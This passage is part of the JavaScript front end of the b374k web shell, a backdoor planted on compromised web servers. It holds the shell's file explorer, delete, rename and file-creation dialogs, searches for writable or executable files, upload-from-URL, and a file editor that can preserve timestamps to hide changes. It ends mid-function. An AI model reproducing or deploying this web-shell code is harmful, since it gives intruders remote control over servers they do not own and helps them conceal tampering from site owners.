  3048. if(history.pushState){
  3049. window.onpopstate = function(event) { refresh_tab(); };
  3050. }
  3051. else{
  3052. window.historyEvent = function(event) { refresh_tab(); };
  3053. }
  3054. }
  3055. });
  3056.  
  3057. function output(str){
  3058. console.log('b374k> '+str);
  3059. }
  3060.  
  3061. function window_resize(){
  3062. bodyWidth = $('body').width();
  3063. if(bodyWidth<=portableWidth){
  3064. layout_portable();
  3065. }
  3066. else{
  3067. layout_normal();
  3068. }
  3069. }
  3070.  
  3071. function layout_portable(){
  3072. nav = $('#nav');
  3073. menu = $('#menu');
  3074. headerNav = $('#headerNav');
  3075. content = $('#content');
  3076.  
  3077. //nav.hide();
  3078. nav.prependTo('#content');
  3079. nav.css('padding','5px 8px');
  3080. nav.css('margin-top', '8px');
  3081. nav.css('display','block');
  3082. nav.addClass('border');
  3083.  
  3084. menu.children().css('width', '100%');
  3085. menu.hide();
  3086. $('#menuButton').remove();
  3087. headerNav.prepend("<div id='menuButton' class='boxtitle' onclick=\"$('#menu').toggle();\" style='float-left;display:inline;padding:4px 8px;margin-right:8px;'>menu</div>");
  3088. menu.attr('onclick', "\$('#menu').hide();");
  3089.  
  3090. $('#xplTable tr>:nth-child(4)').hide();
  3091. $('#xplTable tr>:nth-child(5)').hide();
  3092. if(!win){
  3093. $('#xplTable tr>:nth-child(6)').hide();
  3094. }
  3095.  
  3096. tblfoot = $('#xplTable tfoot td:last-child');
  3097. if(tblfoot[0]) tblfoot[0].colSpan = 1;
  3098. if(tblfoot[1]) tblfoot[1].colSpan = 2;
  3099.  
  3100.  
  3101. $('.box').css('width', '100%');
  3102. $('.box').css('height', '100%');
  3103. $('.box').css('left', '0px');
  3104. $('.box').css('top', '0px');
  3105.  
  3106. paddingTop = $('#header').height();
  3107. content.css('padding-top', paddingTop+'px');
  3108.  
  3109. portableMode = true;
  3110. }
  3111.  
  3112. function layout_normal(){
  3113. nav = $('#nav');
  3114. menu = $('#menu');
  3115. content = $('#content');
  3116.  
  3117. nav.insertAfter('#b374k');
  3118. nav.css('padding','0');
  3119. nav.css('margin-top', '0');
  3120. nav.css('display','inline');
  3121. nav.removeClass('border');
  3122.  
  3123. menu.children().css('width', 'auto');
  3124. menu.show();
  3125. $('#menuButton').remove();
  3126. menu.attr('onclick', "");
  3127.  
  3128. $('#xplTable tr>:nth-child(4)').show();
  3129. $('#xplTable tr>:nth-child(5)').show();
  3130. if(!win){
  3131. $('#xplTable tr>:nth-child(6)').show();
  3132. colspan = 4;
  3133. }
  3134. else colspan = 3;
  3135.  
  3136. tblfoot = $('#xplTable tfoot td:last-child');
  3137. if(tblfoot[0]) tblfoot[0].colSpan = colspan;
  3138. if(tblfoot[1]) tblfoot[1].colSpan = colspan+1;
  3139.  
  3140. paddingTop = $('#header').height();
  3141. content.css('padding-top', paddingTop+'px');
  3142.  
  3143. portableMode = false;
  3144. }
  3145.  
  3146. function start_scroll(str){
  3147. if(str=='top'){
  3148. to = $(window).scrollTop() - scrollCounter;
  3149. scrollCounter = scrollDelta + scrollCounter;
  3150. if(to<=0){
  3151. to = 0;
  3152. onScroll = false;
  3153. }
  3154. else if(onScroll){
  3155. scrollTimer = setTimeout("start_scroll('top')", scrollSpeed);
  3156. $(window).scrollTop(to);
  3157. }
  3158. }
  3159. else if(str=='bottom'){
  3160. to = $(window).scrollTop() + scrollCounter;
  3161. scrollCounter = scrollDelta + scrollCounter;
  3162. bottom = $(document).height()-$(window).height();
  3163. if(to>=bottom){
  3164. to = bottom;
  3165. onScroll = false;
  3166. }
  3167. else if(onScroll){
  3168. scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed);
  3169. $(window).scrollTop(to);
  3170. }
  3171. }
  3172. }
  3173.  
  3174. function get_cwd(){
  3175. return decodeURIComponent(get_cookie('cwd'));
  3176. }
  3177.  
  3178. function fix_tabchar(el, e){
  3179. if(e.keyCode==9){
  3180. e.preventDefault();
  3181. var s = el.selectionStart;
  3182. el.value = el.value.substring(0,el.selectionStart) + "\t" + el.value.substring(el.selectionEnd);
  3183. el.selectionEnd = s+1;
  3184. }
  3185. }
  3186.  
  3187. function get_cookie(key){
  3188. var res;
  3189. return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? (res[1]) : null;
  3190. }
  3191.  
  3192. function set_cookie(key, value){
  3193. document.cookie = key + '=' + encodeURIComponent(value);
  3194. }
  3195.  
  3196. function html_safe(str){
  3197. if(typeof(str) == "string"){
  3198. str = str.replace(/&/g, "&amp;");
  3199. str = str.replace(/"/g, "&quot;");
  3200. str = str.replace(/'/g, "&#039;");
  3201. str = str.replace(/</g, "&lt;");
  3202. str = str.replace(/>/g, "&gt;");
  3203. }
  3204. return str;
  3205. }
  3206.  
  3207. function ucfirst(str){
  3208. return str.charAt(0).toUpperCase() + str.slice(1);
  3209. }
  3210.  
  3211. function time(){
  3212. var d = new Date();
  3213. return d.getTime();
  3214. }
  3215.  
  3216. function send_post(targetdata, callback, loading){
  3217. if(loading==null) loading_start();
  3218. $.ajax({
  3219. url: targeturl,
  3220. type: 'POST',
  3221. data: targetdata,
  3222. success: function(res){
  3223. callback(res);
  3224. if(loading==null) loading_stop();
  3225. },
  3226. error: function(){ if(loading==null) loading_stop(); }
  3227. });
  3228. }
  3229.  
  3230. function loading_start(){
  3231. if(!running){
  3232. $('#overlay').show();
  3233. running = true;
  3234. loading_loop();
  3235. }
  3236. }
  3237.  
  3238. function loading_loop(){
  3239. if(running){
  3240. img = $('#loading');
  3241. img.css('transform', 'rotate('+loading_count+'deg)');
  3242. img.css('-ms-transform', 'rotate('+loading_count+'deg)');
  3243. img.css('-webkit-transform', 'rotate('+loading_count+'deg)');
  3244.  
  3245. loading_count+=7;
  3246. if(loading_count>360) loading_count = 0;
  3247. if(running) setTimeout("loading_loop()",20);
  3248. }
  3249. }
  3250.  
  3251. function loading_stop(){
  3252. if(running){
  3253. img = $('#loading');
  3254. img.css('transform', 'rotate(0deg)');
  3255. img.css('-ms-transform', 'rotate(0deg)');
  3256. img.css('-webkit-transform', 'rotate(0deg)');
  3257.  
  3258. $('#overlay').hide();
  3259. running = false;
  3260. }
  3261. }
  3262.  
  3263. function show_tab(id){
  3264. if(!id){
  3265. if(location.hash!='') id = location.hash.substr(2);
  3266. else id = defaultTab;
  3267. }
  3268. refresh_tab(id);
  3269. }
  3270.  
  3271. function refresh_tab(id){
  3272. if(!id){
  3273. if(location.hash!='') id = location.hash.substr(2);
  3274. else id = defaultTab;
  3275. }
  3276. $('.menuitemSelected').removeClass("menuitemSelected");
  3277. $('#menu'+id).addClass("menuitemSelected");
  3278.  
  3279. tabScroll[currentTab.attr('id')] = $(window).scrollTop();
  3280. currentTab.hide();
  3281. currentTab = $('#'+id);
  3282. currentTab.show();
  3283. window[id]();
  3284. if(tabScroll[id]){
  3285. $(window).scrollTop(tabScroll[id]);
  3286. }
  3287. hide_box();
  3288. }
  3289.  
  3290. function trap_enter(e, callback){
  3291. if(e.keyCode==13){
  3292. if(callback!=null) window[callback]();
  3293. }
  3294. }
  3295.  
  3296. function show_box(title, content){
  3297. onDrag = false;
  3298. hide_box();
  3299. box = "<div class='box'><p class='boxtitle'>"+title+"<span class='boxclose floatRight'>x</span></p><div class='boxcontent'>"+content+"</div><div class='boxresult'></div></div>";
  3300. $('#content').append(box);
  3301.  
  3302. box_width = $('.box').width();
  3303. body_width = $('body').width();
  3304.  
  3305. box_height = $('.box').height();
  3306. body_height = $('body').height();
  3307.  
  3308. x = (body_width - box_width)/2;
  3309. y = (body_height - box_height)/2;
  3310. if(x<0 || portableMode) x = 0;
  3311. if(y<0 || portableMode) y = 0;
  3312. if(portableMode){
  3313. $('.box').css('width', '100%');
  3314. $('.box').css('height', '100%');
  3315. }
  3316.  
  3317. $('.box').css('left', x+'px');
  3318. $('.box').css('top', y+'px');
  3319.  
  3320. $('.boxclose').on('click', function(e){
  3321. hide_box();
  3322. });
  3323.  
  3324. if(!portableMode){
  3325. $('.boxtitle').on('click', function(e){
  3326. if(!onDrag){
  3327. dragDeltaX = e.pageX - parseInt($('.box').css('left'));
  3328. dragDeltaY = e.pageY - parseInt($('.box').css('top'));
  3329. drag_start();
  3330. }
  3331. else drag_stop();
  3332. });
  3333. }
  3334.  
  3335. $(document).off('keyup');
  3336. $(document).on('keyup', function(e){
  3337. if(e.keyCode == 27) hide_box();
  3338. });
  3339.  
  3340. if($('.box input')[0]) $('.box input')[0].focus();
  3341. }
  3342.  
  3343. function hide_box(){
  3344. $(document).off('keyup');
  3345. $('.box').remove();
  3346. }
  3347.  
  3348. function drag_start(){
  3349. if(!onDrag){
  3350. onDrag = true;
  3351. $('body').off('mousemove');
  3352. $('body').on('mousemove', function(e){
  3353. dragX = e.pageX;
  3354. dragY = e.pageY;
  3355. });
  3356. setTimeout('drag_loop()',50);
  3357. }
  3358. }
  3359.  
  3360. function drag_loop(){
  3361. if(onDrag){
  3362. x = dragX - dragDeltaX;
  3363. y = dragY - dragDeltaY;
  3364. if(y<0)y=0;
  3365. $('.box').css('left', x+'px');
  3366. $('.box').css('top', y+'px');
  3367. setTimeout('drag_loop()',50);
  3368. }
  3369. }
  3370.  
  3371. function drag_stop(){
  3372. onDrag = false;
  3373. $('body').off('mousemove');
  3374. }
  3375.  
  3376. function get_all_cbox_selected(id, callback){
  3377. var buffer = new Array();
  3378. $('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){
  3379. if((href = window[callback]($(this)))){
  3380. buffer[i] = href;
  3381. }
  3382. });
  3383. return buffer;
  3384. }
  3385.  
  3386.  
  3387. function cbox_bind(id, callback){
  3388. $('#'+id).find('.cBox').off('click');
  3389. $('#'+id).find('.cBoxAll').off('click');
  3390.  
  3391. $('#'+id).find('.cBox').on('click', function(e){
  3392. if($(this).hasClass('cBoxSelected')){
  3393. $(this).removeClass('cBoxSelected');
  3394. }
  3395. else $(this).addClass('cBoxSelected');
  3396. if(callback!=null) window[callback]();
  3397. });
  3398. $('#'+id).find('.cBoxAll').on('click', function(e){
  3399. if($(this).hasClass('cBoxSelected')){
  3400. $('#'+id).find('.cBox').removeClass('cBoxSelected');
  3401. $('#'+id).find('.cBoxAll').removeClass('cBoxSelected');
  3402. }
  3403. else{
  3404. $('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelected');
  3405. $('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSelected');
  3406. }
  3407. if(callback!=null) window[callback]();
  3408. });
  3409. }
  3410.  
  3411.  
  3412. function action(path, type){
  3413. title = "Action";
  3414. content = '';
  3415. if(type=='file') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='edit button'>edit</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='dl button'>download</span></td></tr></table>";
  3416. if(type=='dir') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span></td></tr></table>";
  3417. if(type=='dot') content = "<table class='boxtbl'><tr><td><input type='text' value='"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</span><span class='ul button'>upload</span><span class='ren button'>rename</span><span class='del button'>delete</span><span class='newfile button'>new file</span><span class='newfolder button'>new folder</span></td></tr></table>";
  3418. show_box(title, content);
  3419. xpl_bind();
  3420. }
  3421.  
  3422. function navigate(path, showfiles){
  3423. if(showfiles==null) showfiles = 'true';
  3424. send_post({ cd:path, showfiles:showfiles }, function(res){
  3425. if(res!='error'){
  3426. splits = res.split('{[|b374k|]}');
  3427. if(splits.length==3){
  3428. $('#nav').html(splits[1]);
  3429. if(showfiles=='true'){
  3430. $('#explorer').html('');
  3431. $('#explorer').html(splits[2]);
  3432. sorttable.k($('#xplTable').get(0));
  3433. }
  3434. $('#terminalCwd').html(html_safe(get_cwd())+'&gt;');
  3435. xpl_bind();
  3436. window_resize();
  3437. }
  3438. }
  3439. });
  3440. }
  3441.  
  3442. function view(path, type, preserveTimestamp){
  3443. if(preserveTimestamp==null) preserveTimestamp = 'true';
  3444. send_post({ viewFile: path, viewType: type, preserveTimestamp:preserveTimestamp }, function(res){
  3445. if(res!='error'){
  3446. $('#explorer').html('');
  3447. $('#explorer').html(res);
  3448. xpl_bind();
  3449. show_tab('explorer');
  3450. if((type=='edit')||(type=='hex')){
  3451. editResult = (type=='edit')? $('#editResult'):$('#editHexResult');
  3452. if(editSuccess=='success'){
  3453. editResult.html(' ( File saved )');
  3454. }
  3455. else if(editSuccess=='error'){
  3456. editResult.html(' ( Failed to save file )');
  3457. }
  3458. editSuccess = '';
  3459. }
  3460. cbox_bind('editTbl');
  3461. }
  3462. });
  3463. }
  3464.  
  3465. function view_entry(el){
  3466. if($(el).attr('data-path')!=''){
  3467. entry = $(el).attr('data-path');
  3468. $('#form').append("<input type='hidden' name='viewEntry' value='"+entry+"'>");
  3469. $('#form').submit();
  3470. $('#form').html('');
  3471. }
  3472. }
  3473.  
  3474. function ren(path){
  3475. title = "Rename";
  3476. content = "<table class='boxtbl'><tr><td class='colFit'>Rename to</td><td><input type='text' class='renameFileTo' value='" +path+"' onkeydown=\"trap_enter(event, 'ren_go');\"><input type='hidden' class='renameFile' value='"+path+"'></td></tr><tr><td colspan='2'><span class='button' onclick='ren_go();'>rename</span></td></tr></table>";
  3477. show_box(title, content);
  3478. }
  3479.  
  3480. function ren_go(){
  3481. renameFile = $('.renameFile').val();
  3482. renameFileTo = $('.renameFileTo').val();
  3483. send_post({renameFile:renameFile, renameFileTo:renameFileTo}, function(res){
  3484. if(res!='error'){
  3485. navigate(res);
  3486. $('.boxresult').html('Operation(s) succeeded');
  3487. $('.renameFile').val($('.renameFileTo').val());
  3488. }
  3489. else $('.boxresult').html('Operation(s) failed');
  3490. });
  3491. }
  3492.  
  3493. function newfolder(path){
  3494. title = "New Folder";
  3495. path = path + 'newfolder-' + time();
  3496. content = "<table class='boxtbl'><tr><td class='colFit'>Folder Name</td><td><input type='text' class='newFolder' value='"+path+"' onkeydown=\"trap_enter(event, 'newfolder_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfolder_go();'>create</span></td></tr></table>";
  3497. show_box(title, content);
  3498. }
  3499.  
  3500. function newfolder_go(){
  3501. newFolder = $('.newFolder').val();
  3502. send_post({newFolder:newFolder}, function(res){
  3503. if(res!='error'){
  3504. navigate(res);
  3505. $('.boxresult').html('Operation(s) succeeded');
  3506. }
  3507. else $('.boxresult').html('Operation(s) failed');
  3508. });
  3509. }
  3510.  
  3511. function newfile(path){
  3512. title = "New File";
  3513. path = path + 'newfile-' + time();
  3514. content = "<table class='boxtbl'><tr><td class='colFit'>File Name</td><td><input type='text' class='newFile' value='"+path+"' onkeydown=\"trap_enter(event, 'newfile_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfile_go();'>create</span></td></tr></table>";
  3515. show_box(title, content);
  3516. }
  3517.  
  3518. function newfile_go(){
  3519. newFile = $('.newFile').val();
  3520. send_post({newFile:newFile}, function(res){
  3521. if(res!='error'){
  3522. view(newFile, 'edit');
  3523. $('.boxresult').html('Operation(s) succeeded');
  3524. }
  3525. else $('.boxresult').html('Operation(s) failed');
  3526. });
  3527. }
  3528.  
  3529. function viewfileorfolder(){
  3530. title = "View File / Folder";
  3531. content = "<table class='boxtbl'><tr><td><input type='text' class='viewFileorFolder' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'viewfileorfolder_go');\"></td></tr><tr><td><span class='button' onclick='viewfileorfolder_go();'>view</span></td></tr></table>";
  3532. show_box(title, content);
  3533. }
  3534.  
  3535. function viewfileorfolder_go(){
  3536. entry = $('.viewFileorFolder').val();
  3537. send_post({viewFileorFolder:entry}, function(res){
  3538. if(res!='error'){
  3539. if(res=='file'){
  3540. view(entry, 'auto');
  3541. show_tab('explorer');
  3542. }
  3543. else if(res=='folder'){
  3544. navigate(entry);
  3545. show_tab('explorer');
  3546. }
  3547. }
  3548. });
  3549. }
  3550.  
  3551. function del(path){
  3552. title = "Delete";
  3553. content = "<table class='boxtbl'><tr><td class='colFit'>Delete</td><td><input type='text' class='delete' value='"+path+"' onkeydown=\"trap_enter(event, 'delete_go');\"></td></tr><tr><td colspan='2'><span class='button' onclick='delete_go();'>delete</span></td></tr></table>";
  3554. show_box(title, content);
  3555. }
  3556.  
  3557. function delete_go(){
  3558. path = $('.delete').val();
  3559. send_post({delete:path}, function(res){
  3560. if(res!='error'){
  3561. navigate(res);
  3562. $('.boxresult').html('Operation(s) succeeded');
  3563. }
  3564. else $('.boxresult').html('Operation(s) failed');
  3565. });
  3566. }
  3567.  
  3568. function find(path){
  3569. findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
  3570. findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
  3571. $('#explorer').html("<div id='xplUpload'>" +findfile+'<br>'+findfolder+'</div>');
  3572. cbox_bind('xplUpload');
  3573. }
  3574.  
  3575. function find_go_file(){
  3576. find_go('file');
  3577. }
  3578.  
  3579. function find_go_folder(){
  3580. find_go('folder');
  3581. }
  3582.  
  3583. function find_go(findType){
  3584. findPath = (findType=='file')? $('.findfilePath').val():$('.findFolderPath').val();
  3585. findResult = (findType=='file')? $('.findfileResult'):$('.findResult');
  3586.  
  3587. findName = (findType=='file')? $('.findfileFilename').val():$('.findFoldername').val();
  3588. findNameRegex = (findType=='file')? $('.findfileFilenameRegex').hasClass('cBoxSelected').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();
  3589. findNameInsensitive = (findType=='file')? $('.findfileFilenameInsensitive').hasClass('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toString();
  3590.  
  3591. findContent = (findType=='file')? $('.findfileContains').val():"";
  3592. findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";
  3593. findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";
  3594.  
  3595. findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();
  3596. findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
  3597. findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();
  3598.  
  3599. send_post(
  3600. {
  3601. findType:findType,
  3602. findPath:findPath,
  3603. findName:findName,
  3604. findNameRegex:findNameRegex,
  3605. findNameInsensitive:findNameInsensitive,
  3606. findContent:findContent,
  3607. findContentRegex:findContentRegex,
  3608. findContentInsensitive:findContentInsensitive,
  3609. findReadable:findReadable,
  3610. findWritable:findWritable,
  3611. findExecutable:findExecutable
  3612. },
  3613. function(res){
  3614. if(res!='error'){
  3615. findResult.html(res);
  3616. }
  3617. }
  3618. );
  3619. }
  3620.  
  3621. function ul_go_comp(){
  3622. ul_go('comp');
  3623. }
  3624.  
  3625. function ul_go_url(){
  3626. ul_go('url');
  3627. }
  3628.  
  3629. function ul(path){
  3630. ulcomputer = "<table class='boxtbl ulcomp'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Computer <a onclick='ul_add_comp();'>(+)</a></p></th></tr></thead><tbody class='ulcompadd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_comp();\">upload</span></td></tr><tr><td colspan='2' class='ulCompResult'></td></tr><tr><td colspan='2'><div id='ulDragNDrop'>Or Drag and Drop files here</div></td></tr><tr><td colspan='2' class='ulDragNDropResult'></td></tr></tfoot></table>";
  3631. ulurl = "<table class='boxtbl ulurl'><thead><tr><th colspan='2'><p class='boxtitle'>Upload From Url <a onclick='ul_add_url();'>(+)</a></p></th></tr></thead><tbody class='ulurladd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"ul_go_url();\">upload</span></td></tr><tr><td colspan='2' class='ulUrlResult'></td></tr></tfoot></table>";
  3632. content = ulcomputer + '<br>' + ulurl + "<input type='hidden' class='ul_path' value='"+path+"'>";
  3633. $('#explorer').html(content);
  3634. ul_add_comp();
  3635. ul_add_url();
  3636.  
  3637. $('#ulDragNDrop').on('dragenter', function(e){
  3638. e.stopPropagation();
  3639. e.preventDefault();
  3640. });
  3641.  
  3642. $('#ulDragNDrop').on('dragover', function(e){
  3643. e.stopPropagation();
  3644. e.preventDefault();
  3645. });
  3646.  
  3647. $('#ulDragNDrop').on('drop', function(e){
  3648. e.stopPropagation();
  3649. e.preventDefault();
  3650.  
  3651. files = e.target.files || e.dataTransfer.files;
  3652. ulResult = $('.ulDragNDropResult');
  3653. ulResult.html('');
  3654. $.each(files, function(i){
  3655. if(this){
  3656. ulType = 'DragNDrop';
  3657. filename = this.name;
  3658.  
  3659. var formData = new FormData();
  3660. formData.append('ulFile', this);
  3661. formData.append('ulSaveTo', get_cwd());
  3662. formData.append('ulFilename', filename);
  3663. formData.append('ulType', 'comp');
  3664.  
  3665. entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";
  3666. ulResult.append(entry);
  3667.  
  3668. if(this.size<=0){
  3669. $('.ulProgress'+ulType+i).html('( failed )');
  3670. $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
  3671. $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
  3672. }
  3673. else{
  3674. ul_start(formData, ulType, i);
  3675. }
  3676. }
  3677. });
  3678. });
  3679. }
  3680.  
  3681. function ul_add_comp(path){
  3682. path = html_safe($('.ul_path').val());
  3683. $('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
  3684. }
  3685.  
  3686. function ul_add_url(path){
  3687. path = html_safe($('.ul_path').val());
  3688. $('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
  3689. }
  3690.  
  3691. function ul_start(formData, ulType, i){
  3692. loading_start();
  3693. $.ajax({
  3694. url: targeturl,
  3695. type: 'POST',
  3696. data: formData,
  3697. cache: false,
  3698. contentType: false,
  3699. processData: false,
  3700. xhr: function(){
  3701. myXhr = $.ajaxSettings.xhr();
  3702. if(myXhr.upload){
  3703. myXhr.upload.addEventListener('progress', function(e){
  3704. percent = Math.floor(e.loaded / e.total * 100);
  3705. $('.ulProgress'+ulType+i).html('( '+ percent +'% )');
  3706. }, false);
  3707. }
  3708. return myXhr;
  3709. },
  3710. success: function(res){
  3711. if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){
  3712. res = 'error';
  3713. }
  3714.  
  3715. if(res=='error'){
  3716. $('.ulProgress'+ulType+i).html('( failed )');
  3717. }
  3718. else{
  3719. $('.ulRes'+ulType+i).html(res);
  3720. }
  3721. loading_stop();
  3722. },
  3723. error: function(){
  3724. loading_stop();
  3725. $('.ulProgress'+ulType+i).html('( failed )');
  3726. $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
  3727. $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
  3728. }
  3729. });
  3730. }
  3731.  
  3732. function ul_go(ulType){
  3733. ulFile = (ulType=='comp')? $('.ulFileComp'):$('.ulFileUrl');
  3734. ulResult = (ulType=='comp')? $('.ulCompResult'):$('.ulUrlResult');
  3735. ulResult.html('');
  3736.  
  3737. ulFile.each(function(i){
  3738. if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){
  3739. file = (ulType=='comp')? this.files[0]: this.value;
  3740. filename = (ulType=='comp')? file.name: file.substring(file.lastIndexOf('/')+1);
  3741.  
  3742. ulSaveTo = (ulType=='comp')? $('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value;
  3743. ulFilename = (ulType=='comp')? $('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;
  3744.  
  3745. var formData = new FormData();
  3746. formData.append('ulFile', file);
  3747. formData.append('ulSaveTo', ulSaveTo);
  3748. formData.append('ulFilename', ulFilename);
  3749. formData.append('ulType', ulType);
  3750.  
  3751. entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";
  3752. ulResult.append(entry);
  3753.  
  3754. check = true;
  3755. if(ulType=='comp'){
  3756. check = (file.size<=0);
  3757. }
  3758. else check = (file=="");
  3759.  
  3760. if(check){
  3761. $('.ulProgress'+ulType+i).html('( failed )');
  3762. $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
  3763. $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
  3764. }
  3765. else{
  3766. ul_start(formData, ulType, i);
  3767. }
  3768. }
  3769. });
  3770. }
  3771.  
  3772. function trap_ctrl_enter(el, e, callback){
  3773. if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  3774. if(callback!=null) window[callback]();
  3775. }
  3776. fix_tabchar(el, e);
  3777. }
  3778.  
  3779. function edit_save_raw(){
  3780. edit_save('edit');
  3781. }
  3782.  
  3783. function edit_save_hex(){
  3784. edit_save('hex');
  3785. }
  3786.  
  3787. function edit_save(editType){
  3788. editFilename = $('#editFilename').val();
  3789. editInput = $('#editInput').val();
  3790. editSuccess = false;
  3791. preserveTimestamp = 'false';
  3792. if($('.cBox').hasClass('cBoxSelected')) preserveTimestamp = 'true';
  3793. send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},
  3794. function(res){
  3795. if(res!='error'){
  3796. editSuccess = 'success';
  3797. view(editFilename, editType, preserveTimestamp);
  3798. }
  3799. else editSuccess = 'error';
  3800. }
  3801. );
  3802. }
  3803.  
  3804.  
  3805.  
  3806. function mass_act(type){
  3807. buffer = get_all_cbox_selected('xplTable', 'xpl_href');
  3808.  
  3809. if((type=='cut')||(type=='copy')){
  3810. localStorage.setItem('bufferLength', buffer.length);
  3811. localStorage.setItem('bufferAction', type);
  3812. $.each(buffer,function(i,v){
  3813. localStorage.setItem('buffer_'+i, v);
  3814. });
  3815. }
  3816. else if(type=='paste'){
  3817. bufferLength = localStorage.getItem('bufferLength');
  3818. bufferAction = localStorage.getItem('bufferAction');
  3819. if(bufferLength>0){
